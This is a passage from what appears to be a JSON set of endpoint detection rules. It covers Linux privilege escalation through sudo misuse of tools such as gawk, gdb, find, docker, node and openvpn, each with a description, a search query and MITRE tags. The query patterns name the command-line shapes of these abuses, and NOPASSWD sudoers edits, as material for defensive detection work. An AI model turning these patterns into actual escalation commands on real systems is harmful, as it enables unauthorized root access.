"analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 20, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Csvtool Privilege Escalation", - "description": "The following analytic detects the execution of the 'csvtool' command with 'sudo' privileges, which can allow a user to run system commands as root. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it indicates a potential privilege escalation attempt, where a user could gain unauthorized root access. If confirmed malicious, this could lead to full system compromise, allowing an attacker to execute arbitrary commands, escalate privileges, and maintain persistent access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*csvtool*\" AND Processes.process=\"*call*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_csvtool_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Doas Conf File Creation", - "description": "The following analytic detects the creation of the doas.conf file on a Linux host. This file is used by the doas utility to allow standard users to perform tasks as root, similar to sudo. The detection leverages filesystem data from the Endpoint data model, focusing on the creation of the doas.conf file. This activity is significant because it can indicate an attempt to gain elevated privileges, potentially by an adversary. If confirmed malicious, this could allow an attacker to execute commands with root privileges, leading to full system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*/etc/doas.conf\") by Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_doas_conf_file_creation_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A file $file_name$ is created in $file_path$ on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Doas Tool Execution", - "description": "The following analytic detects the execution of the 'doas' tool on a Linux host. This tool allows standard users to perform tasks with root privileges, similar to 'sudo'. The detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as 'doas' can be exploited by adversaries to gain elevated privileges on a compromised host. If confirmed malicious, this could lead to unauthorized administrative access, potentially compromising the entire system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"doas\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_doas_tool_execution_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A doas $process_name$ with commandline $process$ was executed on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Docker Privilege Escalation", - "description": "The following analytic detects attempts to escalate privileges on a Linux system using Docker. It identifies processes where Docker commands are used to mount the root directory or execute shell commands within a container. This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process names, command-line arguments, and parent processes. This activity is significant because it can allow an attacker with Docker privileges to modify critical system files, such as /etc/passwd, to create a superuser. If confirmed malicious, this could lead to full system compromise and persistent unauthorized access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN(\"*docker*-v*/*:*\",\"*docker*--volume*/*:*\") OR Processes.process IN(\"*docker*exec*sh*\",\"*docker*exec*bash*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_docker_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 5, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Emacs Privilege Escalation", - "description": "The following analytic detects the execution of Emacs with elevated privileges using the `sudo` command and the `--eval` option. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line arguments. This activity is significant because it indicates a potential privilege escalation attempt, where a user could gain root access by running Emacs with elevated permissions. If confirmed malicious, this could allow an attacker to execute arbitrary commands as root, leading to full system compromise and unauthorized access to sensitive information.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*emacs*\" AND Processes.process=\"*--eval*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_emacs_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 20, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Find Privilege Escalation", - "description": "The following analytic detects the use of the 'find' command with 'sudo' and '-exec' options, which can indicate an attempt to escalate privileges on a Linux system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line arguments. This activity is significant because it can allow a user to execute system commands as root, potentially leading to a root shell. If confirmed malicious, this could enable an attacker to gain full control over the system, leading to severe security breaches and unauthorized access to sensitive data.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*find*\" AND Processes.process=\"*-exec*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_find_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 5, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux GDB Privilege Escalation", - "description": "The following analytic detects the execution of the GNU Debugger (GDB) with specific flags that indicate an attempt to escalate privileges on a Linux system. It leverages Endpoint Detection and Response (EDR) telemetry to identify processes where GDB is run with the `-nx`, `-ex`, and `sudo` flags. This activity is significant because it can allow a user to execute system commands as root, potentially leading to a root shell. If confirmed malicious, this could result in full system compromise, allowing an attacker to gain complete control over the affected endpoint.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*gdb*\" AND Processes.process=\"*-nx*\" AND Processes.process=\"*-ex*!*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_gdb_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Gem Privilege Escalation", - "description": "The following analytic detects the execution of the RubyGems utility with elevated privileges, specifically when it is used to run system commands as root. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that include \"gem open -e\" and \"sudo\". This activity is significant because it indicates a potential privilege escalation attempt, allowing a user to execute commands as the root user. If confirmed malicious, this could lead to full system compromise, enabling the attacker to gain root access and execute arbitrary commands with elevated privileges.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*gem*open*-e*\" AND Processes.process=\"*-c*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_gem_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux GNU Awk Privilege Escalation", - "description": "The following analytic detects the execution of the 'gawk' command with elevated privileges on a Linux system. It leverages Endpoint Detection and Response (EDR) telemetry to identify command-line executions where 'gawk' is used with 'sudo' and 'BEGIN{system' patterns. This activity is significant because it indicates a potential privilege escalation attempt, allowing a user to execute system commands as root. If confirmed malicious, this could lead to full root access, enabling the attacker to control the system, modify critical files, and maintain persistent access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*gawk*\" AND Processes.process=\"*BEGIN*{system*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `linux_gnu_awk_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Make Privilege Escalation", - "description": "The following analytic detects the use of the 'make' command with elevated privileges to execute system commands as root, potentially leading to a root shell. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that include 'make', '--eval', and 'sudo'. This activity is significant because it indicates a possible privilege escalation attempt, allowing a user to gain root access. If confirmed malicious, an attacker could achieve full control over the system, execute arbitrary commands, and compromise the entire environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*make*-s*\" AND Processes.process=\"*--eval*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_make_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 20, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux MySQL Privilege Escalation", - "description": "The following analytic detects the execution of MySQL commands with elevated privileges using sudo, which can lead to privilege escalation. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it indicates a potential misuse of MySQL to execute system commands as root, which could allow an attacker to gain root shell access. If confirmed malicious, this could result in full control over the affected system, leading to severe security breaches and unauthorized access to sensitive data.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*mysql*-e*\" AND Processes.process=\"*\\!**\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_mysql_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Node Privilege Escalation", - "description": "The following analytic identifies the execution of Node.js with elevated privileges using sudo, specifically when spawning child processes. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that include specific Node.js commands. This activity is significant because running Node.js as a superuser without dropping privileges can allow unauthorized access to the file system and potential privilege escalation. If confirmed malicious, this could enable an attacker to maintain privileged access, execute arbitrary code, and compromise sensitive data within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*sudo*node*\" AND Processes.process=\"*-e*\" AND Processes.process=\"*child_process.spawn*\" AND Processes.process=\"*stdio*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_node_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux NOPASSWD Entry In Sudoers File", - "description": "The following analytic detects the addition of NOPASSWD entries to the /etc/sudoers file on Linux systems. It leverages Endpoint Detection and Response (EDR) telemetry to identify command lines containing \"NOPASSWD:\". This activity is significant because it allows users to execute commands with elevated privileges without requiring a password, which can be exploited by adversaries to maintain persistent, privileged access. If confirmed malicious, this could lead to unauthorized privilege escalation, persistent access, and potential compromise of sensitive data and system integrity.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*NOPASSWD:*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_nopasswd_entry_in_sudoers_file_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a commandline $process$ executed on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Octave Privilege Escalation", - "description": "The following analytic detects the execution of GNU Octave with elevated privileges, specifically when it runs system commands via sudo. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process command-line arguments that include \"octave-cli,\" \"--eval,\" \"system,\" and \"sudo.\" This activity is significant because it indicates a potential privilege escalation attempt, allowing a user to execute commands as root. If confirmed malicious, this could lead to full system compromise, enabling an attacker to gain root access and execute arbitrary commands, severely impacting system security and integrity.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*octave-cli*\" AND Processes.process=\"*--eval*\" AND Processes.process=\"*system*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_octave_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 20, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux OpenVPN Privilege Escalation", - "description": "The following analytic detects the execution of OpenVPN with elevated privileges, specifically when combined with the `--dev`, `--script-security`, `--up`, and `sudo` options. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process command-line arguments and execution details. This activity is significant because it indicates a potential privilege escalation attempt, allowing a user to execute system commands as root. If confirmed malicious, this could lead to full system compromise, enabling an attacker to gain root access and execute arbitrary commands with elevated privileges.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*openvpn*\" AND Processes.process=\"*--dev*\" AND Processes.process=\"*--script-security*\" AND Processes.process=\"*--up*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_openvpn_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - 